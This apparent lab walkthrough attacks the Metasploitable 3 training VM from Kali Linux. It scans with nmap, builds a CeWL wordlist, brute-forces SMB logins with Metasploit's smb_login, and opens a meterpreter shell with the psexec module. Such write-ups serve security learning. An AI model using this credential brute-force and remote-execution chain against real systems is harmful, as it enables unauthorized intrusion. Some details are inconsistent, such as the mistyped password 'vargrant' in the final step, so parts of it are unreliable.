Kali Linux, Penetration Testing

Hack Metasploitable 3 using SMB Service Exploitation

Target: Metasploitable 3

Attacker: Kali Linux

 Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover SMB login attack for which it requires open SMB port.

Type the following command on terminal in kali Linux.

nmap –p- -A

In previous article it’s about SSH Login attack read from here.

Luckily!!! In Metasploit3 port 445 is open for SMB service mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between server and client on a network. 

Now it is necessary to create a dictionary file to exploit it. To make a dictionary file type the following command:

cewl -m 7 -d 0 –w /root/Desktop/pass.txt

CeWL is a customized wordlist generator that sticks to just the site you have specified and will go to a depth of 2 links and returns a list of words which can then be used for password crackers such as John the Ripper.

Start metasploit framework by typing msfconsole on terminal in kali Linux.

This module will test SMB logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.

Type following command under msfconsole

use auxiliary/scanner/smb/smb_login

msf auxiliary (smb_login)>set rhosts

msf auxiliary (smb_login)>set rport 445

msf auxiliary (smb_login)>set smbuser vagrant

msf auxiliary (smb_login)>set pass_file /root/Desktop/pass.txt

msf auxiliary (smb_login)>set stop_on_success true

msf auxiliary (smb_login)> exploit

This exploit will start brute force attack to match the valid authentication and give green sign when founds the correct credential for SMB login.

Our attack is successful and we have got valid login vagrant: vagrant as username and password.

This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the “psexec” utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.

Hence using above credential this exploit will try to provide the meterperter shell.

Type following command to use this module for attack.

msf> use exploit/windows/smb/psexec

msf exploit (psexec)>set rhosts

msf exploit (psexec)>set rport 445

msf exploit (psexec)>set smbuser vagrant

msf exploit (psexec)>set smbpass vargrant

msf exploit (psexec)> exploit

Wonderful!!! Our meterpreter session 1 is opened and you have got victim shell.

meterpreter> sysinfo

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here